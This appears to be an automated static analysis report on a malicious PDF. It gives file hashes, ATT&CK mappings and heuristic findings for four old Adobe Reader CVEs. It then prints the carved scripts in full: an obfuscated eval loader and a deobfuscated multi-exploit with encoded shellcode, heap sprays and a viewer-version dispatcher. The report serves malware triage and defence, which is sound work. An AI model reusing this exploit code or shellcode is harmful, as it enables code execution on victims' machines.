Malicious PDF — malware analysis report

Static analysis result for SHA-256 73603ef80926592c…

MALICIOUS

PDF

78.7 KB Authoring application: ring.fromChar
MD5: c83723cbad2e34459cd9b2a98f9f7ae0 SHA-1: 816ff779fa18bd7769db092ccfb1f5c7adcc8daf SHA-256: 73603ef80926592cfa3900af7b75a13e5287f24eb0da270e9ae44a6fe4f5ea2b
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is designed to exploit these flaws to achieve code execution, likely to download and run a secondary payload. The ML classifier also strongly flagged this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
5f9869435df463cb846932df3cb887ed35eec1a995eb9726bab5941e702032ae		 pdf-javascript-stream PDF /JS object 1 at offset 0x13895 388 bytes
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var etmxx="";
gbc='his';
qet='tit';
e('muxq=t'+gbc+"."+qet+t);
t='cer'
cygz='rodu';
e('skq=t'+gbc+".p"+cygz+t);
sydjs=e('St'+skq+'Code');
dij = e(muxq);
e('k=dij.length');
for (i = 0; i < k; i+=2) {
	yfcy = dij[i] + dij[i+1];
	etmxx += sydjs(yfcy);
}
e(etmxx);
legacy_pdfkit_stage_000.js
ddaa69e47de9e9422a2b2de3e500f2901990885cff4dbd80639458f3278ac25f		 deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u36b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5934%ue2aa%uc3fa%ue5e8%uffff%ub0ff%u5855%u5959%ud807%u05b5%u5958%ud059%ud4be%u4916%u36d4%u680d%u0e82%u0a08%u0a0a%u0a0a%u0a0a%u0a0c%u310a%u585d%u5959%u0f0c%u310a%u3736%u5959%u2c31%u352b%u0d34%ud731%u5717%ub1b5%u5911%u5959%ub109%u5925%u5959%u89a6%u9dda%u3151%ub616%u5c16%ub109%u5935%u5959%u89a6%u99dc%u4e2c%u0d33%uaa00%u31f3%ua72b%u4fea%u44b1%u5959%u0959%u08b1%u5959%ua659%u0a89%ua733%ud031%u5836%ub1e4%u5951%u5959%ub109%u5965%u5959%u89a6%u6839%u3d99%u09d2%ud269%u550b%u0bd2%ud24d%u712b%u41e0%u5959%u6859%u68a6%uf599%u3865%u5b25%u7975%u9698%u5854%ubb9e%ud8a9%u02a6%u13e5%ud233%u491b%u4bd2%u802c%u1dd0%u457d%u9a38%ud239%u7d35%ud27d%u651c%u0dd2%u215c%ub358%u13d2%ud241%u7903%ub258%u6dba%ud210%ud26d%ub758%ua668%u9968%uf5a5%u99dd%u5e2d%u9698%u5854%ub29e%u62ad%u7d25%u2c71%ud2b8%u7d03%ub258%ud23f%u1255%u03d2%u5845%ud2b2%ud25d%ub158%u1dd0%u457d%u9b38%u5951%ub6b1%ua6a7%u31a6%u2d2d%u6329%u7676%u342a%u6836%u7768%u363a%u7634%u773d%u3129%u6629%u643f%u616c%u3c7f%u6c64%u0059';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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